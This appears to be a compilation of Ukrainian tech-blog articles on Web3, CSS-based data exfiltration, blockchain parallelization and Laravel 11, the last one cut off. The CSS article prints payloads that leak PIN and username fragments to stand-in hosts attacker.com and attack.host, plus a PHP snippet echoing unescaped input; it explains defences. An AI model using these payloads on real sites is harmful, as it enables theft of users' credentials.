Вперше концепція Web 3.0 з’явилася ще 90-ті роки. Бернерс-Лі назвав її семантичною павутиною. Архітектура нового покоління мала включати кілька основних компонентів. Серед основних ідей Web 3.0 був переклад всього мережевого контенту, написаного людською мовою, в машиночитаему форму, що дозволило б алгоритмам і програмам розпізнавати значення повідомлень та будувати зв’язки на їх основі.
Надалі сприйняття концепції змінилося. У 2014 році співзасновник Ethereum Гевін Вуд опублікував статтю, в якій описав Web 3.0 з нового боку – як децентралізованішу версію мережі, побудовану з використанням блокчейну. Його пропозиції стосувалися насамперед змін у системі зберігання даних та підвищення рівня анонімності користувачів.
2021 року термін Web 3.0 знову згадали — на тлі зростання популярності децентралізованих додатків та NFT. У ході бурхливих інтернет-дискусій популярності набуло також слово “Web3”.
Що ж таке Web3?
Криптоспільство досі шукає визначення для Web 3.0. Але його важливою відмінністю від Web 2.0 є підвищення децентралізації всіх рівнях, зокрема у зберіганні даних та використанні додатків. Додатками епохи Web3 часто називають ті, які мають один або кілька атрибутів зі списку:
- в окремі функції продукту інтегрований блокчейн та смарт-контракти;
- вихідний код програми опубліковано, є можливість участі для сторонніх розробників;
- сервіс використовує технології віртуальної (VR) чи доповненої (AR) реальності;
- інструменти оплати операцій з допомогою криптовалют, вбудовані у фронтенд;
- використання невзаємозамінних токенів (NFT);
- у системі зберігання даних використовується протокол IPFS;
- в управлінні проектом бере участь децентралізована автономна організація (ДАТ).
Також Web3 передбачає активне використання штучного інтелекту (ІІ). Це дає широкі можливості для персоналізації досвіду користувача. Такий принцип є основою бізнес-моделей багатьох великих веб-платформ, наприклад YouTube, Netflix чи Amazon. Хоча з погляду організації вони залишаються централізованими.
Web3 також тісно пов’язаний з поняттям метавсесвіту.
Ще одне ключове явище Web3 – суверенна ідентичність.
Як працюють Web3-програми?
Під час розробки додатків «нового покоління» дотримуються децентралізації організації даних, включаючи їх зберігання. Принаймні, частина даних мережевого додатку зберігається в блокчейні, тобто децентралізована.
Розвитком продукту займається не тільки і не стільки власник, скільки розподілена спільнота. Воно управляє проектом через ДАТ (децентралізовану автономну організацію).
У свою чергу, децентралізація є запорукою того, що криптовалютам та смарт-контрактам вдалося реалізувати в економіці: виключити необхідність у довірі, а отже, у посередниках та централізованих структурах.
Таким чином, ідеальний стан Web3 – свобода від цензури та обмежень, а також ефективна бізнес-модель без використання ієрархічних структур та традиційних фінансових інструментів.
Які блокчейн-проекти працюють у сфері Web3?
У криптоіндустрії є величезна кількість проектів, які позиціонують себе як частину руху Web3. Назвемо кілька найбільших прикладів:
Filecoin (FIL) – глобальний “маркетплейс” для децентралізованого зберігання даних. Є альтернативою централізованим хмарним сховищам: об’єднує мережу комп’ютерів, користувачі яких можуть здавати в оренду вільне місце на диску. Конкурентами Filecoin є Storj (STORJ) та Siacoin (SC).
У напрямку передачі даних та «інтернету речей» (IoT) теж є успішні приклади. Один з них Helium — децентралізована мережа спеціальних модемів, які надають послугу швидкого та стійкого з’єднання для IoT-пристроїв, насамперед розумних датчиків та лічильників.
Ще один приклад — IOTA, яка побудована на різновиді розподіленого реєстру без використання блоків та майнінгу. Натомість кожна наступна транзакція підтверджує дві попередні. IOTA також призначена для «розумних» пристроїв, які можуть проводити мікротранзакції у цій мережі практично безкоштовно.
Існують проекти, що пропонують нову систему організації та пошуку контенту в Мережі. Наприклад, The Graph (GRT) — децентралізований та відкритий протокол індексування для запитів даних із блокчейнів, який є аналогом інтернет-пошуковика. Інформацію з окремої мережі The Graph групує так званий подграф, доступ якого здійснюється через API. Програми можуть отримувати з підграф будь-які дані шляхом SQL-запитів.
Polkadot спочатку позиціонував себе як платформа для Web3 і, зокрема, децентралізованих додатків. Для розробників існує набір інструментів Polkadot Substrate, який дозволяє створювати окремі блокчейни (т.зв. «парачейни»), пов’язані між собою в рамках екосистеми Polkadot.
Очевидний претендент на звання головного блокчейну для Web 3.0 – Ethereum, що вже став головною платформою децентралізованих додатків. Крім багатьох DeFi- і NFT-проектів можна виділити сервіс Ethereum Name Service, що дозволяє генерувати доменні імена, прив’язані до адреси в мережі.
До блокчейн для Web3 можна віднести й інші платформи для децентралізованих додатків, включаючи Solana, Avalanche, Polygon та інші.
Навіщо Web3 потрібні криптовалюти?
Багато інтернет-проектів нового покоління можуть мати власний криптоактив, який має певні функції або дає переваги при використанні програми.
Одна з найпоширеніших функцій токена проекту – управління. Тримачі токена беруть участь в управлінні додатком через ДАТ – орган децентралізованого управління, який працює за допомогою смарт-контрактів.
Сума токенів у володінні визначає «вагу» голосу під час голосування. Члени ДАТ самі формулюють та обговорюють нові пропозиції, а також голосують за ними. Голосування ДАТ можуть стосуватися різних питань — починаючи від виділення коштів на якийсь проект і закінчуючи зміною якогось параметра програми.
Таким чином, ДАТ відповідає за розвиток проекту та його токеноміку.
Великі інтернет-компанії також розвивають Web 3.0?
Концепція Web 3 приваблює не тільки криптопроекти та стартапи, а й традиційних гравців Web 2.0 – великі технологічні компанії.
У травні 2022 року Google Cloud оголосила про початок розробки інструментів для блокчейн-розробників. Екс-голова та глава Google Ерік Шмідт назвав ідею Web3 цікавою та виділив дві зміни, які привнесе нове покоління інтернету – володіння контентом користувачами та виплата ним компенсацій за активність. А співзасновник Ethereum Джозеф Любін відзначив можливості децентралізації, які надає «нова версія» інтернету.
Елементи Web3 у свої продукти планує впровадити YouTube. Підтримку децентралізованих програм на нативному рівні розвиває команда браузера Opera.
За даними Grayscale, зростання річного доходу сектору метавсесвітів Web 3.0 досягне $1 трлн. Великі компанії, такі як Uniswap Labs, Pantera Capital і Dragonfly Capital створили венчурні підрозділи, які будуть зосереджені на розробках додатків Web 3.0.
Згідно з дослідженням Electric Capital, за 2021 рік кількість розробників у галузі технологій Web3 збільшилася на 75%.
За що критикують Web 3.0?
Розмитість визначення та вкрай часте вживання цього слова роблять ідею Web3 популярним об’єктом критики.
Наприклад, бізнесмен Ілон Маск в одному з інтерв’ю наприкінці 2021 року заявив, що Web 3.0 – це «більший засіб для просування, а не реальне».
Хтось бачив Web3? Не можу його знайти.
Засновник Twitter Джек Дорсі розкритикував концепцію за те, що у сфері Web3 надто сильний вплив венчурних інвесторів, тому вона ніколи не буде децентралізованою.
Пізніше компанія Дорсі представила власний проект у галузі «нового інтернету» – платформу Web5. Вона дозволяє розробникам впроваджувати додатки децентралізовану систему зберігання даних та цифрової ідентичності користувача.
Криптограф і засновник месенджера Signal Моксі Марлінспайк звернув увагу на те, що додатки, які претендують на звання децентралізованих, у своїй роботі покладаються на децентралізовані сервіси, зокрема сервери та API.
Джерело
CSS та безпека даних

Різні компоненти фронтенду традиційно є вотчиною веб-розробників та дизайнерів і вони не завжди замислюються про безпеку контенту. У цій статті я пропоную поговорити про безпеку CSS.
Спочатку згадаємо, що таке кросссайтскриптинг (CSS). XSS це тип атаки на веб-ресурси, що полягає у впровадженні на сторінку довільного коду (який буде виконаний на комп’ютері користувача при відкритті ним цієї сторінки) і взаємодії цього коду з веб-сервером зловмисника.
Протягом кількох років сучасні браузери, такі як Chrome або Firefox, намагалися захистити користувачів веб-програм від різних атак, у тому числі XSS. Вони робили це за допомогою XSS-фільтрів, які в багатьох випадках дозволяли блокувати такі атаки. Однак ці фільтри виявлялися менш ефективними, і браузери, такі як Chrome, поступово відключають їх у пошуках альтернативних методів захисту. Принцип роботи XSS-фільтрів є досить простим. Коли ваш веб-браузер надсилає запит на веб-сайт, його вбудований фільтр міжсайтових сценаріїв перевіряє, чи у запиті виконується JavaScript, наприклад, блок <script> або HTML-елемент із вбудованим обробником подій. Також перевіряється, чи виконується JavaScript у відповіді від сервера
Теоретично це має добре працювати, але на практиці це легко обійти, а також немає захисту на стороні клієнта від XSS-атак.
Погляньмо, як можна вкрасти конфіденційні дані за допомогою каскадних таблиць стилів (CSS).
Крадіжка конфіденційних даних із стилем
JavaScript та HTML – не єдині мови, які підтримують усі основні веб-браузери. Каскадні таблиці стилів (CSS) також є частиною цієї групи. Не дивно, що CSS зазнав деяких серйозних змін з моменту свого створення. Те, що починалося як спосіб обвести теги div червоною пунктирною рамкою, перетворилося на високофункціональну мову, що дозволяє створювати сучасний веб-дизайн з такими функціями як переходи, медіа-запити і те, що можна описати як селектори атрибутів.
Наприклад, ми можемо змінити колір посилання без використання JavaScript. Звичайний CSS-селектор може виглядати приблизно так:
a {
color: red;
}
При цьому будуть вибрані всі теги <a> та встановлений червоний колір тексту посилання для них. Однак це не забезпечує великої гнучкості і може навіть перешкодити решті вашого веб-дизайну. Можливо, ви захочете встановити колір внутрішніх посилань, відмінний від кольору зовнішніх, щоб відвідувачам було легше бачити, за яким посиланням вони перейдуть з вашого веб-сайту. Що ви можете зробити, так це створити клас, подібний до наведеного нижче, і застосувати його до всіх тегів прив’язки, які вказують на внутрішні посилання:
.internal-link {
color: green;
}
Це не обов’язково ідеальна ситуація; це додає більше HTML коду, і вам потрібно вручну перевірити, чи встановлений правильний клас для всіх внутрішніх посилань. Зручно, що CSS надає простіше вирішення цієї проблеми.
Вибір атрибутів CSS
Селектори атрибутів CSS дозволяють встановити колір кожного посилання, що починається з https://mysite.com/, наприклад, на зелений:
a[href^="https://mysite.com/"] {
color: green;
}
Це приємна функція, але яке це стосується ексфільтрації даних? Ну можна надсилати вихідні запити, використовуючи директиву background у поєднанні з url. Якщо ми поєднаємо це з селектором атрибутів, ми зможемо легко підтвердити наявність певних даних в атрибутах HTML на сторінці:
<style>
input[name="pin"][value="1234"] {
background: url(https://attacker.com/log?pin=1234);
}
</style>
<input type="password" name="pin" value="1234">
Цей CSS-код вибере будь-який вхідний тег, що містить ім’я pin і значення 1234. Ввівши код на сторінку між тегами <style>, можна підтвердити, що наше припущення було правильним. Якби PIN-код був 5678, селектор не відповідав би полю введення, і запит на сервер зловмисника не було б надіслано. У цьому прикладі описана не найкорисніша атака з існуючих, але вона може бути використана для деанонімізації користувачів. Тобто, за допомогою CSS ми можемо реагувати на певне введення користувача на сторінці.
Подивимося ще один приклад того, як може працювати така ексфільтрація даних.
<html>
<head>
<style>
#username[value*="aa"]~#aa{background:url("https://attack.host/aa");}#username[value*="ab"]~#ab{background:url("https://attack.host/ab");}#username[value*="ac"]~#ac{background:url("https://attack.host/ac");}#username[value^="a"]~#a_{background:url("https://attack.host/a_");}#username[value$="a"]~#_a{background:url("https://attack.host/_a");}#username[value*="ba"]~#ba{background:url("https://attack.host/ba");}#username[value*="bb"]~#bb{background:url("https://attack.host/bb");}#username[value*="bc"]~#bc{background:url("https://attack.host/bc");}#username[value^="b"]~#b_{background:url("https://attack.host/b_");}#username[value$="b"]~#_b{background:url("https://attack.host/_b");}#username[value*="ca"]~#ca{background:url("https://attack.host/ca");}#username[value*="cb"]~#cb{background:url("https://attack.host/cb");}#username[value*="cc"]~#cc{background:url("https://attack.host/cc");}#username[value^="c"]~#c_{background:url("https://attack.host/c_");}#username[value$="c"]~#_c{background:url("https://attack.host/_c");}
</style>
</head>
<body>
<form>
Username: <input type="text" id="username" name="username" value="<?php echo $_GET['username']; ?>" />
<input id="form_submit" type="submit" value="submit"/>
<a id="aa"><a id="ab"><a id="ac"><a id="a_"><a id="_a"><a id="ba"><a id="bb"><a id="bc"><a id="b_"><a id="_b"><a id="ca"><a id="cb"><a id="cc"><a id="c_"><a id="_c">
</form>
</body>
</html>
Давайте подивимося, що тут відбувається. Після завантаження сторінки в полі значення поля введення знаходиться ім’я користувача. Наведений вище код, що поєднує CSS та HTML, насправді може надати зловмиснику пристойний обсяг інформації. Так, якщо ім’я користувача починається з a, на сервер зловмисника буде надіслано запит, що містить a_. Якщо воно закінчується b, сервер отримає _b. Якщо ім’я користувача містить ab на сторінці, куди вбудовано шкідливу таблицю стилів, браузер видасть запит, що містить ab.
Зрозуміло, що цю концепцію можна розвинути теоретично, комбінація символів нижнього і верхнього регістру, цифр і 32 символів може призвести до корисного навантаження CSS розміром більше 620 Кбайт. По суті, це буде аналог перебору всіх можливих комбінацій.
Однак із цим методом є кілька проблем, оскільки він потребує деяких попередніх умов:
Дані повинні бути присутніми під час завантаження сторінки, щоб було неможливо перехопити введення користувача в реальному часі за допомогою CSS Exfil.
Має бути достатньо елементів, які можна стилізувати за допомогою CSS. Один елемент не можна використовувати для двох різних ексфільтрацій. Що ви можете зробити, так це використовувати один елемент для визначення першої літери та один елемент, який ви використовуєте виключно для останньої літери, оскільки існує лише одна можлива перша та одна можлива остання літера. Однак для решти літер це менш просто.
Елементи, які ви використовуєте для ексфільтрації, повинні допускати атрибути CSS, для яких можна використовувати URL, такі як фон або стиль списку і т.д.
З іншого боку, нелегко повторно зібрати дані. Наприклад, якщо ви спробуєте відфільтрувати цей досить слабкий пароль шанувальника шведської поп-групи ABBA, ви зіткнетеся з серйозною проблемою.
abbaabbaabba
Цей пароль починається з a, закінчується a і містить ab, bb, aa, а також ba. Але це не допоможе вам відновити пароль. Досі залишається багато припущень. Ви навіть не знаєте, напевно, який довжини пароль. abbaa також відповідає цьому опису, але це все одно не той пароль, який ми шукали.
Так що запропонований концепт використання CSS для атак хакерів далеко не бездоганний, але дає достатньо матеріалу для роздумів.
Як можна захиститися від цих атак
Є кілька простих кроків, які можна зробити, щоб переконатися, що у вашому додатку немає помилок, які можуть дозволити зловмисникам включати довільний контент CSS:
Застосуйте контекстно-залежне очищення. Це означає, що вам доводиться використовувати різні форми кодування в різних ситуаціях: наприклад, шістнадцяткове кодування всередині блоків скрипта або об’єкти HTML всередині інших HTML-тегів. Можуть виникнути ситуації, коли вам також потрібно використовувати інші форми очищення, такі як кодування HTML або білого списку.
Проскануйте вашу програму за допомогою сканера вразливостей, наприклад Nikto або Wapiti оскільки вразливість, по суті, є впровадження HTML-коду, яке може бути виявлено більшістю сканерів безпеки веб-додатків. Як і XSS, для цієї атаки потрібно використання коду.
Введіть належну політику безпеки контенту (CSP), якщо ви хочете бути абсолютно впевнені, що зловмисник не зможе скористатися цією вразливістю, навіть якщо ви забули виконати очищення. За допомогою такої політики можна скласти білий список URL, з яких можна завантажувати контент. У такому разі звернутися до ресурсів зловмисника вже не вийде.

Кожна з цих рекомендацій важлива для запобігання вразливості у всій вашій кодовій базі.
Висновок
У цій статті наведено короткий опис можливих концепцій атак за допомогою CSS. Розробникам фронтенду та адміністраторам веб-серверів теж необхідно знати про подібні атаки та вміти з ними боротися.
Джерело
Що таке паралелізація та як вона допомагає масштабувати блокчейни?

Що таке паралелізація?
Паралелізація або паралелізм передбачає паралельну обробку даних на багатьох обчислювальних вузлах з наступним поєднанням отриманих результатів.
Ця концепція, зокрема, застосовується підвищення продуктивності блокчейн-систем. У останніх вона означає паралельне виконання транзакцій — замість послідовної обробки проходить безліч операцій одночасно.
«Сьогодні спекотний день. Ти хочеш Pepsi, але тобі доводиться стояти у черзі з цими аматорами Fanta. Щоб угамувати спрагу, зазвичай і доводиться стояти в такій довгій черзі. Але якби було кілька автоматів, які подають кожен із напоїв, процес був би паралельним!».
За їхніми словами, в даний час всі EVM -мережі працюють «згідно з першим сценарієм».
“При послідовному виконанні кожна транзакція має бути підтверджена всією мережею, що призводить до значного споживання енергії і великих зусиль майнерів або валідаторів”, – йдеться у блозі Suipiens .
Таким чином, паралелізація позбавляється «черги» і уможливлює одночасний розподіл транзакцій по вузлах мережі та їх валідацію.
На завершення цього процесу мережа приходить до «однорідного» стану, досягаючи консенсусу між різними нодами.
“Паралельний” підхід оптимізує використання ресурсів мережі. У цьому обробка транзакцій прискорюється з допомогою розподілу процесів серед вузлів та його підгруп.
«Доведено, що це значно покращує загальну пропускну спроможність системи. Реалізують розпаралелювання проекти стверджують, що досягають 100-кратного приростуTPSу порівнянні з мережами, які обробляють транзакції послідовно», – зазначив аналітик CoinGecko Джоел Агбо.
Які є підходи до паралелізації?
Є дві основні моделі:
- оптимістична паралелізація;
- розпаралелювання доступу до стану.
Розглянемо коротко кожен із підходів.
Оптимістична паралелізація
При такому підході мережа пропускає етап сортування та приступає до одночасної обробки даних. Цей метод передбачає, що транзакції пов’язані між собою.
У разі некоректного виконання мережа повертається для внесення коригувань. Якщо навколо транзакцій існують додаткові залежності, вони знову будуть виконані з правильними даними.
Паралелізація доступу до стану
Під час реалізації цієї моделі першим кроком є сортування транзакцій. Останні групуються відповідно до впливу, який вони впливають на стан мережі, наприклад, пов’язані і непов’язані.
Пов’язані транзакції взаємодіють з одним і тим самим контрактом або одним і тим самим обліковим записом у мережі.
Непов’язані можуть включати односпрямовані транзакції, які взаємодіють із різними контрактами.
Мережа обробляє незв’язані транзакції одночасно, заощаджуючи час та витрати користувачів. У свою чергу, пов’язані транзакції повторно координуються перед їхньою обробкою.
При сортуванні може враховуватись ще один критерій – плата за газ. Транзакції з більш високою комісією можуть виконуватися паралельно, що позитивно позначається на досвіді користувача з точки зору швидкості обробки.
Як працює паралельне виконання транзакцій?
Як мовилося раніше, паралельне виконання передбачає одночасну обробку кількох транзакцій. Цей метод кардинально відрізняється від традиційного послідовного підходу, забезпечуючи підвищену ефективність та масштабованість.
Розглянемо спрощено алгоритм роботи паралелізації:
- визначення незалежних транзакцій . Система виявляє незв’язані операції — ті, які взаємодіють із одними й тими самими даними чи станом. Наприклад, різні смарт-контракти Solana – транзакції, що зачіпають, можуть оброблятися паралельно;
- одночасне виконання . Щойно незалежні транзакції визначено, вони виконуються одночасно вузлами мережі. Така паралельна обробка значно скорочує час підтвердження (це, зокрема, помітно з прикладу роботи технології Sealevel від Solana);
- управління залежностями та конфліктами . Система повинна справлятися з різними складнощами при обробці потоку транзакцій, забезпечуючи цілісність даних та надійність блокчейну.
Які переваги у «паралельного» підходу до масштабування?
Перелічимо основні плюси паралелізації транзакцій.
Підвищення продуктивності . Поділ завдань та його розподіл за багатьма вузлами як дозволяє системі обробляти транзакції швидше, а й відкриває можливості горизонтального масштабування.
Мережа може збільшувати доступні ресурси за рахунок залучення більшої кількості нід у періоди підвищеної ончейн-активності та повертатися до звичайного стану у періоди відносного спокою на ринку. Така гнучкість у контексті масштабування тримає мережу «у формі» за різких змін транзакційного попиту.
Зменшення витрат на газ . Паралелізація економить як час, а й кошти, необхідних оплати операцій у мережі.
Транзакції розподіляються за різними підгрупами нод. Це означає, що на кожну з операцій припадає менша комісія, порівняно з «послідовним» варіантом.
Більш висока швидкість обробки також означає меншу кількість транзакцій у черзі та незначну конкуренцію за їх підтвердження. Відповідно, для кожної з операцій потрібна невисока комісія.
Швидкість транзакцій . Розподіляючи завдання по кількох вузлах, мережа економить багато часу під час виконання транзакцій. Блокчейни з підтримкою паралелізації досягають багаторазового приросту TPS порівняно із системами, що використовують модель послідовної обробки.
Яке підводне каміння у паралелізації?
Хоча паралельна обробка транзакцій підвищує продуктивність мережі, ефективно реалізувати цей механізм непросто. Основні складнощі пов’язані з необхідністю сортування транзакцій та постійного врегулювання безлічі станів.
У випадку оптимістичної паралелізації мережа може зіткнутися з проблемами при обробці зв’язаних транзакцій. Наприклад, є ймовірність безлічі перекладів на один і той же обліковий запис з різних адрес. Мережа має врегулювати всі ці транзакції, гарантуючи коректність балансів кожному з відповідних гаманців.
“Виявлення цих залежностей – колосальне завдання, враховуючи нинішню взаємопов’язаність додатків”, – зазначили експерти Suipiens.
Щоб вирішити цю проблему, працюючі за моделлю паралельного виконання мережі можуть задіяти планувальники. Останні гарантують виконання залежних транзакцій лише після завершення інших операцій.
Моделі на основі розпаралелювання доступу до стану вирішують це завдання зі старту. Але вузлам доводиться мати справу зі швидким потоком інформації та необхідністю регулярної синхронізації з рештою мережі.
«Складність управління та координації кількох транзакцій одночасно може виснажити мережні ресурси. Особливо це стосується вузлів, перед якими стоїть завдання швидкого оновлення та перевірки стану транзакцій. Ця складність збільшує ризик помилок та потенційних уразливостей безпеки», – зазначив керівник відділу досліджень Datawallet Ентоні Б’янко.
Команда експертів на чолі з журналістом Коліном Ву дійшла висновку, що причиною періодичних збоїв Solana є нездатність мережі впоратися зі зростаючим обсягом транзакцій.
Які є EVM-сумісні блокчейн-проекти на основі паралелізації?
Ethereum Virtual Machine – це віртуальна машина, яка виконує код у мережі другої по капіталізації криптовалюти. Вона є частиною протоколу і виконує смарт-контракти, написані на Solidity або на інших мовах програмування, сумісних з Ethereum. EVM також забезпечує проведення операцій з токенами та інші функції, пов’язані з децентралізованими програмами (dapps).
За допомогою найпопулярнішої віртуальної машини розробники можуть легко портувати dapps без необхідності написання коду з нуля. Відповідно, що підтримують паралелізацію EVM дають можливість розгортати додатки у високопродуктивних блокчейнах, не вносячи жодних істотних змін.
Розглянемо коротко деякі подібні проекти.
Sei Network
Sei — блокчейн, розроблений спеціально для сектору децентралізованих фінансів, зокрема обмінних та торгових платформ. У його основі лежать Tendermint Core і Cosmos SDK.
Система підтримує паралелізацію – ордери з незалежних ринків можуть виконуватися одночасно.
У листопаді команда Sei Network анонсувала другу версію мережі, яка стане першим паралелізованим блокчейном з підтримкою EVM. Оновлення передбачає модернізацію системи, яка працює за «оптимістичною» моделлю. Відкривається можливість перенесення смарт-контрактів Ethereum на Sei та використання їх у мережі разом із протоколами на Cosmwasm.
Для реалізації EVM-сумісності команда проекту застосовує технологію Geth — клієнта, що найчастіше використовується, другий за капіталізацією криптовалюти для обробки транзакцій.
З точки зору продуктивності Sei V2 забезпечить пропускну здатність 28 300 транзакцій в секунду, а час створення блоку займе 390 мс.
У Sei V2 з’явиться дата-структура SeiDB, яка має поліпшити механізми зберігання даних на платформі. Згідно з заявою розробників, технологія запобіжить «роздмухування стану» і спростить синхронізацію з нодами.
Monad
Це EVM-сумісний блокчейн першого рівня з підтримкою 10000 TPS.
Monad працює за моделлю «оптимістичної» паралелізації. Для запобігання некоректному виконанню операцій система використовує статичний аналіз коду.
Платформа працює з урахуванням алгоритму консенсусу MonadBFT.
За словами розробників, Monad усуває розрив між децентралізованими та традиційними платформами завдяки «суперскалярному, конвеєрному виконанню та оптимізованій архітектурі».
Neon EVM
Це перша «паралельна» EVM на блокчейні Solana, що поєднує в собі сильні сторони обох технологій – високу сумісність та значну пропускну спроможність.
За інформацією на сайті проекту, комісія за відправлення токенів або їх своп складає лише $0,003. Блокчейн здатний обробляти понад 2000 транзакцій на секунду.
Які ще проекти підтримують паралелізацію?
Крім EVM-сумісних проектів, є інші платформи з підтримкою паралелізації.
Solana
Проект є одним із першопрохідників концепції паралельного виконання транзакцій. Команда Solana розробляє масштабований блокчейн-протокол для створення децентралізованих додатків та смарт-контрактів.
Співзасновник проекту Анатолій Яковенко назвав паралелізацію однієї з восьми ключових особливостей, що сприяють високій пропускній спроможності блокчейну.
В основі Solana є віртуальна машина Sealevel. Вона паралельно обробляє транзакції, які горизонтально масштабуються на графічних процесорах та твердотільних накопичувачах.
Транзакції заздалегідь повідомляють, який стан вони читатимуть і пишуть у процесі виконання. Sealevel знаходить транзакції, що не перекривають один одного, в блоці і планує їх виконання.
«Паралельне середовище виконання може обробляти десятки тисяч смарт-контрактів, використовуючи всі доступні валідатор ядра. Це суттєво економить час, оскільки кожна транзакція перевіряється максимально швидко», – зазначив Джоел Агбо.
Sui
Sui – це високопродуктивний блокчейн першого рівня, який розробляє компанія Mysten Labs для обслуговування децентралізованих програм, чутливих до затримок.
оманда Sui використовує напрацювання Diem – блокчейн-платформи, що не відбулася, від корпорації Meta. Під час написання коду використовувалася модифікована версія мови Move.
У процедурі консенсусу задіяні унікальні протоколи Narwhal та Bullshark, які дозволяють виконувати обчислення паралельно та привносять значні можливості масштабування.
Процедура обробки транзакцій залежить від того, чи стосується вона об’єкта з одним власником (будь-які види активів) або «загального об’єкта» (наприклад, публічні смарт-контракти).
До першого типу належать переклади монет, емісія NFT та голосування. Такі транзакції обробляються за спрощеною процедурою Fast Pay, що базується на механізмі Byzantine Consistent Broadcast.
У цьому процесі немає пошуку консенсусу між валідаторами, що значно скорочує час обробки транзакції.
Розробники стверджують, що система здатна справлятися з потоком 10 000-290 000 TPS.
Aptos
Проект позиціонується як гнучка, легкооновлювана під постійно змінюваний ландшафт ринку Web3 платформа. Як заявлено в white paper, Aptos є унікальною комбінацією консенсусу, нового дизайну смарт-контрактів, безпеки, продуктивності та децентралізації.
Розробники стверджують, що платформа здатна забезпечувати 160 000 TPS. Затримка між відправкою та виконанням становить менше однієї секунди. Багато в чому ці показники досягаються завдяки особливій структурі системи паралельного виконання транзакцій.
В Aptos задіяна “оптимістична” модель, де незв’язані операції обробляються паралельно. При цьому система здатна автоматично виявляти пов’язані транзакції після виконання.
Взаємодія користувачів, програм та смарт-контрактів у мережі забезпечує віртуальна машина Move VM, яка має скласти конкуренцію «монополії» Ethereum Virtual Machine. За словами команди Pontem, яка займається розвитком Move, віртуальна машина Aptos здатна стати стандартом для інтеграції програм з Cosmos, Solana, Polkadot і навіть Ethereum.
Блокчейн-платформа працює з урахуванням алгоритму консенсусу AptosBFT. Для створення смарт-контрактів використовується мова програмування Move.
Джерело
Laravel 11. Що нового?

Laravel 11 продовжує покращення, розпочаті в Laravel 10.x, представляючи спрощену структури додатка, посекундні обмеження швидкості, маршрути перевірки здоров’я додатка, витончену ротацію ключа шифрування, покращення тестування черг, поштовий транспорт Resend, інтеграцію валідатора Prompt, нові команди Artisan та нові команди Artisan. Крім того, був представлений Laravel Reverb – WebSocket-сервер, що масштабується, що забезпечує надійну роботу в режимі реального часу.
PHP 8.2
Laravel 11.x вимагає як мінімум версію PHP 8.2.
Спрощена структура програми
Laravel 11 представляє спрощену структуру нових додатків, не вимагаючи будь-яких змін у існуючих додатках. Нова структура покликана забезпечити компактніший і сучасніший інтерфейс, зберігаючи при цьому багато концепцій, з якими розробники Laravel вже знайомі. Нижче ми обговоримо основні моменти цього нововведення.
Файл Bootstrap
Файл bootstrap/app.php був відроджений як файл конфігурації, орієнтований на код. Тепер у цьому файлі ви можете налаштувати маршрутизацію, мідлвари, сервіс-провайдери, обробку винятків та багато іншого. Цей файл поєднує безліч високорівневих налаштувань поведінки програми, які раніше були розкидані по всій програмі.
return Application::configure(basePath: dirname(__DIR__))
->withRouting(
web: __DIR__.'/../routes/web.php',
commands: __DIR__.'/../routes/console.php',
health: '/up',
)
->withMiddleware(function (Middleware $middleware) {
//
})
->withExceptions(function (Exceptions $exceptions) {
//
})->create();
Сервіс-провайдери
Замість дефолтної структури програми, що містить п’ять сервіс-провайдерів, Laravel 11 включає лише один AppServiceProvider. Функціональність попередніх включена в bootstrap/app.php і автоматично обробляється фреймворком, але може бути розміщена і в AppServiceProvider.
Наприклад, виявлення подій тепер увімкнено за умовчанням, що усуває необхідність ручної реєстрації подій та їх слухачів. Однак, якщо вам необхідно зареєструвати події вручну, ви можете зробити це в AppServiceProvider. Аналогічно, прив’язки моделі до маршруту або гейти авторизації, які, можливо, раніше реєстрували в AuthServiceProvider, також можуть бути зареєстровані в AppServiceProvider.
Файли конфігурації
Розширено використання змінних оточення: а до файлу .env.example було додано додаткові параметри. Завдяки цьому майже вся основна функціональність фреймворку тепер може бути налаштована через файл .env вашої програми, а не через окремі файли конфігурації. Відповідно, каталог config за замовчуванням тепер пустий.
При необхідності файли конфігурації можуть бути опубліковані за допомогою нової команди Artisan config:publish
, яка дозволяє публікувати тільки ті файли конфігурації, які ви хочете налаштувати:
php artisan config:publish
Але, звичайно, ви можете опублікувати всі конфігураційні файли фреймворку:
php artisan config:publish --all
Опціональна маршрутизація API та Broadcast
За замовчуванням тепер відсутні файли маршрутів api.php і channels.php, оскільки більшість програм вони не потрібні. Але їх можна створити за допомогою Artisan-команд :
php artisan install:api
php artisan install:broadcasting
Мідлвари
Раніше Laravel встановлював дев’ять мідлварів для різних завдань: автентифікація, тримінг вхідних рядків, перевірка CSRF-токенів.
У Laravel 11 ці мідлвари були перенесені в сам фреймворк, щоб не збільшувати обсяг вашої програми. У фреймворк були додані нові методи налаштування поведінки цих мідлварів, які можна викликати з bootstrap/app.php:
->withMiddleware(function (Middleware $middleware) {
$middleware->validateCsrfTokens(
except: ['stripe/*']
);
$middleware->web(append: [
EnsureUserIsSubscribed::class,
])
})
Оскільки всі мідлвари може налаштувати через bootstrap/app.php, то потреба в окремому HTTP класі «kernel» відпала.
Планувальник
За допомогою нового фасаду Schedule заплановані завдання тепер можуть бути задані безпосередньо у файлі routes/console.php, що усуває потребу в окремому “kernel” класі консолі:
use Illuminate\Support\Facades\Schedule;
Schedule::command('emails:send')->daily();
Обробка винятків
Як і маршрутизація та мідлвари, обробка виключень тепер може бути налаштована прямо у файлі bootstrap/app.php замість окремого класу обробника винятків, що дозволяє скоротити загальну кількість файлів, що включаються до нового Laravel-додатку:
->withExceptions(function (Exceptions $exceptions) {
$exceptions->dontReport(MissedFlightException::class);
$exceptions->reportable(function (InvalidOrderException $e) {
// ...
});
})
Налаштування програми за промовчанням
За промовчанням нові програми Laravel використовують SQLite для зберігання бази даних, а також як драйвер бази даних для сесій, кешу та черги. Це дозволяє вам розпочати створення програми відразу після встановлення Laravel, без необхідності встановлювати додаткові програми або створювати додаткові міграції.
Крім того, драйвери баз даних для цих сервісів стали досить надійними для використання в продакшені для багатьох додатків, тому вони є розумним уніфікованим вибором для локальних і «бойових» додатків.
Laravel Reverb
Laravel Reverb забезпечує неймовірно швидкий масштабований зв’язок через WebSocket в реальному часі для вашого Laravel-додатку. Плюс плавну інтеграцію з існуючим набором інструментів Laravel для трансляції подій, таких як Laravel Echo.
php artisan reverb:start
Крім того, Reverb підтримує горизонтальне масштабування за допомогою можливостей публікацій/підписок Redis, дозволяючи розподіляти WebSocket-трафік між кількома внутрішніми Reverb-серверами, що підтримують один високонавантажений додаток.
Посекундне обмеження швидкості
Laravel тепер підтримує посекундне обмеження швидкості для всіх обмежувачів, включаючи HTTP-запити та завдання у черзі. Раніше обмежувачі швидкості Laravel були обмежені щохвилини:
RateLimiter::for('invoices', function (Request $request) {
return Limit::perSecond(1);
});
Маршрути здоров’я
